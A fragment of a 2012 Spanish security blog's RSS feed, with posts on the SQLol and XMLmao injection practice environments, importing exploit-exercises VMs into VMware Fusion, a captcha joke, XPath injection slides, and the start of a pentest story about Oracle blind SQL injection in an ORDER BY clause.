<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/529/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/529/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/529/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=529&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/05/12/un-10-para-owasp-zap-apologia-software-libre/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/05/zap64x64_bigger.png" medium="image">
			<media:title type="html">zap64x64_bigger</media:title>
		</media:content>
	</item>
		<item>
		<title>SQLol y XMLmao: Web hacking Testbeds</title>
		<link>http://securityetalii.es/2012/05/08/sqlol-y-xmlmao-web-hacking-testbeds/</link>
		<comments>http://securityetalii.es/2012/05/08/sqlol-y-xmlmao-web-hacking-testbeds/#comments</comments>
		<pubDate>Tue, 08 May 2012 18:07:19 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[Entornos de prueba]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[SQLol]]></category>
		<category><![CDATA[XMLmao]]></category>
		<category><![CDATA[xpath injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=519</guid>
		<description><![CDATA[Recientemente tuve que preparar unas presentaciones sobre XPath Injection (I,II) a modo de formación interna en la empresa, y me puse a buscar entornos en los que se pudieran practicar las técnicas que iba a contar. El caso es que la mayoría de entornos &#8220;conocidos&#8221;, como WebGoat, DVWA, Multillidae, AltoroMutual&#8230; tienen uno o ningún nivel [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=519&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Recientemente tuve que preparar unas presentaciones sobre XPath Injection (<a title="XPath Injection Primer" href="http://securityetalii.es/2012/02/23/xpath-injection-primer/" target="_blank">I</a>,<a title="Advanced XPath Injection" href="http://securityetalii.es/2012/04/10/advanced-xpath-injection/" target="_blank">II</a>) a modo de formación interna en la empresa, y me puse a buscar entornos en los que se pudieran practicar las técnicas que iba a contar. El caso es que la mayoría de entornos &#8220;conocidos&#8221;, como WebGoat, DVWA, Multillidae, AltoroMutual&#8230; tienen uno o ningún nivel dedicado a XPath Injection. Con la intención de que los alumnos pudieran jugar un poco más, estuve indagando en Google, y encontré XMLmao.</p>
<h2>XMLmao</h2>
<p style="text-align:justify;"><a title="XMLmao en blog.spiderlabs" href="http://blog.spiderlabs.com/2012/01/on-null-byte-poisoning-and-xpath-injection.html" target="_blank">XMLmao</a> es un entorno vulnerable a XPath Injection y XML Injection que permite probar gran variedad de ataques diferentes. Está construido de tal forma que se puede elegir si hay filtro de comillas, de barras (/), de pipes (|), de espacios o de brackets ([). También se puede configurar el punto de inyección: Ruta del nodo, Nombre del nodo, Variable de condición, Valor numérico en la condición, cadena en la condición, Nodo Hijo o query completa. Permite seleccionar si se mostrarán todos los resultados, sólo uno, ninguno, o tan sólo un comportamiento diferente entre resultados y no (para blind injection).</p>
<p><a href="http://securityetalii.files.wordpress.com/2012/05/xmlmao.png"><img class="aligncenter size-full wp-image-523" title="XMLmao" src="http://securityetalii.files.wordpress.com/2012/05/xmlmao.png?w=600&h=422" alt="XMLmao" width="600" height="422" /></a></p>
<p style="text-align:justify;">Eso en cuanto a XPath Injection. La sección de XML Injection tiene configuraciones muy similares. Además de todo lo anterior, la aplicación consta de una serie preestablecida de "desafíos" para superar utilizando diferentes técnicas de inyección. Por si alguno se atasca con los desafíos, en la misma carpeta en la que se encuentran los .php que los contienen están también los .txt que explican una posible solución al reto.</p>
<p style="text-align:justify;">El entorno está escrito en PHP, y su instalación es tan sencilla como descargar un .zip (de <a title="XMLmao Github" href="https://github.com/SpiderLabs/XMLmao" target="_blank">aquí</a>) y extraerlo en la carpeta del servidor web (<em>/var/www/XMLmao</em> en mi caso). Como la aplicación es deliberadamente vulnerable, no se recomienda su instalación en servidores públicos (o al menos no sin algún tipo de autenticación).</p>
<h2>SQLol</h2>
<p style="text-align:justify;">Al trastear con el repositorio de <a title="Repositorio de SpiderLabs" href="https://github.com/SpiderLabs/" target="_blank">SpiderLabs</a>, descubrí <a href="http://blog.spiderlabs.com/2012/01/introducing-sqlol.html" target="_blank">otro proyecto</a> de características similares pero orientado a las inyecciones SQL. No es que de este tipo de ataque no haya entornos de prueba (que los hay, y muchos), pero me sigue pareciendo muy interesante que permita al usuario configurar los parámetros de inyección de acuerdo a sus inquietudes en ese momento.</p>
<div id="attachment_525" class="wp-caption aligncenter" style="width: 610px"><a href="http://securityetalii.files.wordpress.com/2012/05/sqllol.png"><img class="size-full wp-image-525" title="SQLlol" src="http://securityetalii.files.wordpress.com/2012/05/sqllol.png?w=600&h=317" alt="SQLol" width="600" height="317" /></a><p class="wp-caption-text">Pantalla Principal SQLol</p></div>
<p style="text-align:justify;">
<p style="text-align:justify;">Del mismo modo que XMLmao, permite configurar el nivel de filtrado, qué caracteres están siendo filtrados, si se muestra la consulta, el nivel de verbosidad de los errores y el lugar en el que se encuentra la inyección. Así por ejemplo, puedes probar inyecciones en los siguientes sitios:</p>
<p style="text-align:justify;">
<div id="attachment_524" class="wp-caption aligncenter" style="width: 430px"><a href="http://securityetalii.files.wordpress.com/2012/05/inyecciones.png"><img class="size-full wp-image-524" title="Inyecciones" src="http://securityetalii.files.wordpress.com/2012/05/inyecciones.png?w=600" alt="Lugares para inyectar"   /></a><p class="wp-caption-text">Opciones de Inyección</p></div>
<p style="text-align:justify;">
<p style="text-align:justify;">Por supuesto, también se puede elegir el tipo de consulta en el que se va a inyectar (DELETE, UPDATE, SELECT, INSERT o CUSTOM). Consta de una serie de retos predefinidos con sus respectivas soluciones para aquel que se atasque con alguno. La instalación es similar a la de XMLmao, descargar el .zip (de <a title="SpiderLabs SQLol" href="https://github.com/SpiderLabs/SQLol" target="_blank">aquí</a>) y descomprimir en la carpeta del servidor web. Sin embargo, SQLlol requiere una base de datos SQL. Soporta MySQL, Postgres y SQLite, aunque el desarrollador comenta que puede que otras funcionen. Una vez descomprimido el paquete, es necesario modificar el fichero <em>#SQLol_directory/includes/database.config.php</em> para que haga referencia a la base de datos que hayamos instalado. Al finalizar este paso, nos dirigimos a la interfaz web y pulsamos en el botón &#8220;RESET&#8221;, y listo.</p>
<p style="text-align:justify;">Espero que éstos entornos &#8220;menos conocidos&#8221; os sirvan para practicar éste tipo de ataques o para replicar de manera más precisa el escenario que os podáis encontrar durante un pentest.</p>
<p style="text-align:justify;">¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/519/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/519/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/519/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=519&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/05/08/sqlol-y-xmlmao-web-hacking-testbeds/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/05/xmlmao.png" medium="image">
			<media:title type="html">XMLmao</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/05/sqllol.png" medium="image">
			<media:title type="html">SQLlol</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/05/inyecciones.png" medium="image">
			<media:title type="html">Inyecciones</media:title>
		</media:content>
	</item>
		<item>
		<title>Montar las Imágenes de exploit-exercises.com en VMware Fusion</title>
		<link>http://securityetalii.es/2012/04/28/montar-imagenes-exploit-exercises-en-vmware-fusion/</link>
		<comments>http://securityetalii.es/2012/04/28/montar-imagenes-exploit-exercises-en-vmware-fusion/#comments</comments>
		<pubDate>Sat, 28 Apr 2012 12:02:43 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[exploiting]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[virtualización]]></category>
		<category><![CDATA[explot-exercises]]></category>
		<category><![CDATA[fusion]]></category>
		<category><![CDATA[nebula]]></category>
		<category><![CDATA[ovftool]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=514</guid>
		<description><![CDATA[Quería dejar un pequeño apunte para aquellos que estén interesados en probar los retos de exploit-exercises.com. Desde dicha web proporcionan tres máquinas virtuales con diferentes niveles de exploiting para practicar y mejorar las técnicas y conocimientos relativos: Nebula, Protostar y Fusion. El proyecto empezó hace tiempo, pero tanto Protostar como Fusion siguen en estado aplha/beta. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=514&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Quería dejar un pequeño apunte para aquellos que estén interesados en probar los retos de <a title="Exploit Exercises" href="http://exploit-exercises.com" target="_blank">exploit-exercises.com</a>. Desde dicha web proporcionan tres máquinas virtuales con diferentes niveles de exploiting para practicar y mejorar las técnicas y conocimientos relativos: Nebula, Protostar y Fusion. El proyecto empezó hace tiempo, pero tanto Protostar como Fusion siguen en estado aplha/beta. Personalmente, preferí esperarme a que los entornos de pruebas fueran más estables para asegurarme de que los problemas que encuentre sean debidos al ejercicio en sí (y/o a mi torpeza) y no a posibles bugs. El primer entorno de pruebas, Nebula, va por la versión 4 y debería ser suficientemente estable, así que decidí bajarlo y echar un rato jugando con las pruebas.</p>
<p style="text-align:justify;">En éste <a title="Instrucciones instalación" href="http://exploit-exercises.com/h/ovf" target="_blank">link</a> dan instrucciones para importar las máquinas virtuales de pruebas que proveen en formato OVA (<a title="OVF" href="http://en.wikipedia.org/wiki/Open_Virtualization_Format" target="_blank">Open Virtualization Format</a>). El problema es que no hay tutorial para VMware Fusion, y no carga OVAs directamente. No es que sea un proceso complicado, pero ahí va:</p>
<ol>
<li style="text-align:justify;">Descargar OVFTool de la <a title="OVFtool download" href="http://communities.vmware.com/community/vmtn/server/vsphere/automationtools/ovf" target="_blank">web de VWmare</a> e instalar siguiendo el procedimiento habitual en OS X</li>
<li style="text-align:justify;">Descargar la imagen OVA de la <a title="Nebula Download" href="http://exploit-exercises.com/download" target="_blank">web de exploit-exercises.com</a></li>
<li style="text-align:justify;">Desde una terminal, ejecutar los siguientes comandos:</li>
</ol>
<div id="attachment_516" class="wp-caption aligncenter" style="width: 610px"><a href="http://securityetalii.files.wordpress.com/2012/04/ovftool-comandos.png"><img class="size-full wp-image-516" title="ovftool-comandos" src="http://securityetalii.files.wordpress.com/2012/04/ovftool-comandos.png?w=600&h=203" alt="ovftool-comandos" width="600" height="203" /></a><p class="wp-caption-text">Convertir imagen con ovftool --lax origen.ova destino</p></div>
<p style="text-align:justify;">Si os olvidáis de incluir el flag <em>&#8211;lax </em>dará un error relacionado con virtualbox-2.2 (que no nos incumbe) y finalizará. Cuando termine (tarda unos minutos), simplemente id a VMware Fusion, &#8220;Archivo-&gt;Abrir&#8221; y seleccionad la imagen que habéis creado.</p>
<div id="attachment_515" class="wp-caption aligncenter" style="width: 610px"><a href="http://securityetalii.files.wordpress.com/2012/04/wmware-abrir-nebula.png"><img class="size-full wp-image-515" title="WMware-abrir-nebula" src="http://securityetalii.files.wordpress.com/2012/04/wmware-abrir-nebula.png?w=600&h=388" alt="WMware-abrir-nebula" width="600" height="388" /></a><p class="wp-caption-text">Archivo-&gt;Abrir</p></div>
<p style="text-align:justify;">Con esto debería bastar, podéis arrancar la máquina y entrar con usuario y password <em>levelXX. </em>Tenéis más información sobre el funcionamiento y los niveles de Nebula en la <a title="Instrucciones Nebula" href="http://exploit-exercises.com/nebula" target="_blank">página oficial</a>.</p>
<p style="text-align:justify;">¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/514/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/514/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/514/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=514&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/04/28/montar-imagenes-exploit-exercises-en-vmware-fusion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/04/ovftool-comandos.png" medium="image">
			<media:title type="html">ovftool-comandos</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/04/wmware-abrir-nebula.png" medium="image">
			<media:title type="html">WMware-abrir-nebula</media:title>
		</media:content>
	</item>
		<item>
		<title>¿Sueño con ovejas eléctricas?</title>
		<link>http://securityetalii.es/2012/04/13/sueno-con-ovejas-electricas/</link>
		<comments>http://securityetalii.es/2012/04/13/sueno-con-ovejas-electricas/#comments</comments>
		<pubDate>Fri, 13 Apr 2012 19:07:41 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[replicante]]></category>
		<category><![CDATA[scifi]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=502</guid>
		<description><![CDATA[Sí, me temo que soy un replicante, un androide con forma humanoide, un cascarón de piel sintética sobre cables y circuitería varia. Para aquellos no muy dedicados a la literatura, el título del relato de Philip K. Dick que dio lugar a la película Blade Runner, se titulaba originalmente &#8220;Do Androids Dream of Electric Sheep?&#8221; ¿Y por [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=502&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Sí, me temo que <strong>soy un replicante</strong>, un androide con forma humanoide, un cascarón de piel sintética sobre cables y circuitería varia. Para aquellos no muy dedicados a la literatura, el título del relato de <a title="Philip K. Dick" href="http://es.wikipedia.org/wiki/Philip_K._Dick" target="_blank">Philip K. Dick</a> que dio lugar a la película <a title="Blade Runner" href="http://www.imdb.com/title/tt0083658/" target="_blank">Blade Runner</a>, se titulaba originalmente &#8220;<em>Do Androids</em> <em>Dream of Electric Sheep</em>?&#8221;</p>
<p style="text-align:justify;">¿Y por qué digo esto? Porque cada vez más, se da la situación de que me ven enfrente de un captcha que no puedo resolver. ¿Y no es el objetivo de los captchas dejar fuera a los autómatas y permitir su resolución a los seres humanos? Mi tasa de acierto debe ser aproximadamente del 66%, fallo un tercio de los captchas al menos (lo sé, lamentable).</p>
<p style="text-align:justify;">En fin, sé que esto no os interesa mucho, pero lo que os voy a decir a continuación seguro que sí: <strong>vosotros tampoco sois humanos</strong>. ¿Qué? ¿Qué no os lo creéis? Vale, pues decidme cual es la solución a éste captcha de uploaded.to:</p>
<div class="wp-caption aligncenter" style="width: 315px"><a href="http://securityetalii.files.wordpress.com/2012/04/captcha.png"><img class="size-full wp-image " title="Captcha indescifrable" src="http://securityetalii.files.wordpress.com/2012/04/captcha.png?w=345" alt="Captcha indescifrable" width="305" height="144" /></a><p class="wp-caption-text">Captcha indescifrable</p></div>
<p>¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/502/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/502/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/502/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=502&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/04/13/sueno-con-ovejas-electricas/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>

		<media:content url="http://securityetalii.files.wordpress.com/2012/04/captcha.png?w=345" medium="image">
			<media:title type="html">Captcha indescifrable</media:title>
		</media:content>
	</item>
		<item>
		<title>Advanced XPath Injection</title>
		<link>http://securityetalii.es/2012/04/10/advanced-xpath-injection/</link>
		<comments>http://securityetalii.es/2012/04/10/advanced-xpath-injection/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 19:27:19 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[blind xpath injection]]></category>
		<category><![CDATA[xpath]]></category>
		<category><![CDATA[xpath injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=500</guid>
		<description><![CDATA[Quería actualizar brevemente con la segunda parte de la presentación sobre XPath Injection (en inglés) que he dado en la empresa para los menos avezados en el tema. El título &#8220;avanzado&#8221; quizá sea decir mucho, pero tiene algunos trucos, incluyendo blind, que no estaban incluídos en la primera presentación por motivos de espacio. Dicho esto, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=500&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Quería actualizar brevemente con la segunda parte de la presentación sobre XPath Injection (en inglés) que he dado en la empresa para los menos avezados en el tema. El título &#8220;avanzado&#8221; quizá sea decir mucho, pero tiene algunos trucos, incluyendo blind, que no estaban incluídos en la <a title="XPath Injection Primer" href="http://securityetalii.es/2012/02/23/xpath-injection-primer/" target="_blank">primera presentación</a> por motivos de espacio.</p>
<p style="text-align:justify;">Dicho esto, podéis descargar el PPT de <a title="Advanced XPath Injection" href="https://sites.google.com/site/securityetalii/archives/Advanced%20XPATH%20Injection.pptx" target="_blank">aquí</a>.</p>
<p style="text-align:justify;">¡Salud!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/500/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/500/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/500/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=500&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/04/10/advanced-xpath-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Blind SQL Injection en Order By</title>
		<link>http://securityetalii.es/2012/03/26/oracle-blind-sql-injection-en-order-by/</link>
		<comments>http://securityetalii.es/2012/03/26/oracle-blind-sql-injection-en-order-by/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 20:03:27 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[web hacking]]></category>
		<category><![CDATA[Blind SQLi]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Order by]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=486</guid>
		<description><![CDATA[ Hoy quería comentar un caso curioso que me he encontrado recientemente durante un pentest de una aplicación web. La aplicación en cuestión es muy grande, con muchísimos menús, submenús, cantidad de roles, checkboxes y dropdown menus que muestran diferentes páginas en función de los valores que tengan&#8230; Vamos, una cosa incómoda de manejar y con muchos [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=486&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;"> Hoy quería comentar un caso curioso que me he encontrado recientemente durante un <em>pentest</em> de una aplicación web. La aplicación en cuestión es muy grande, con muchísimos menús, submenús, cantidad de roles, <em>checkboxes</em> y <em>dropdown</em> <em>menus</em> que muestran diferentes páginas en función de los valores que tengan&#8230; Vamos, una cosa incómoda de manejar y con muchos campos donde intentar inyectar basurilla. Y además, no está permitido el uso de herramientas automáticas (requisitos del cliente).</p>
<p style="text-align:justify;">Lo más habitual suele ser que una web sea vulnerable a SQL injection en todos los campos del mismo tipo, o del mismo formulario, existiendo siempre la posibilidad de que un cambio de desarrollador o un parche a posteriori deje un agujero que no estaba previamente. La aplicación de la que os hablo hoy es de este tipo, una aplicación antigua que ha pasado por las manos de varios desarrolladores y sobre la que se han aplicado parches y añadido nuevas funcionalidades con el paso del tiempo. Pues allá que iba yo auditando la susodicha, llevando recorrido ya más de un 75% de la web sin haber sido capaz de encontrar ningún SQLi. Y fue en aquel preciso momento, desvanecida ya toda esperanza, <del>cuando Isildur, Hijo del Rey recurrió a la espada de su padre&#8230;</del> cuando me topé con la típica tabla que se puede ordenar <em>clickando</em> en los encabezados de las columnas. Algo muy parecido a esto:</p>
<div id="attachment_487" class="wp-caption aligncenter" style="width: 310px"><a href="http://securityetalii.files.wordpress.com/2012/03/tabla.png"><img class="size-large wp-image-487 " title="Tabla" src="http://securityetalii.files.wordpress.com/2012/03/tabla.png?w=300&h=66" alt="Tabla" width="300" height="66" /></a><p class="wp-caption-text">Tabla ordenable</p></div>
<p style="text-align:justify;">Si echamos un vistazo a lo que sucede cuando hacemos click en &#8220;1 Year&#8221;, lo que nos mostrará Burp nos parecerá bastante sospechoso, y será muy parecido a lo siguiente:</p>
<p><a href="http://securityetalii.files.wordpress.com/2012/03/burporderby1.png"><img class="aligncenter size-full wp-image-491" title="BurpOrderBy" src="http://securityetalii.files.wordpress.com/2012/03/burporderby1.png?w=600&h=69" alt="Parámetros en Burp" width="600" height="69" /></a></p>
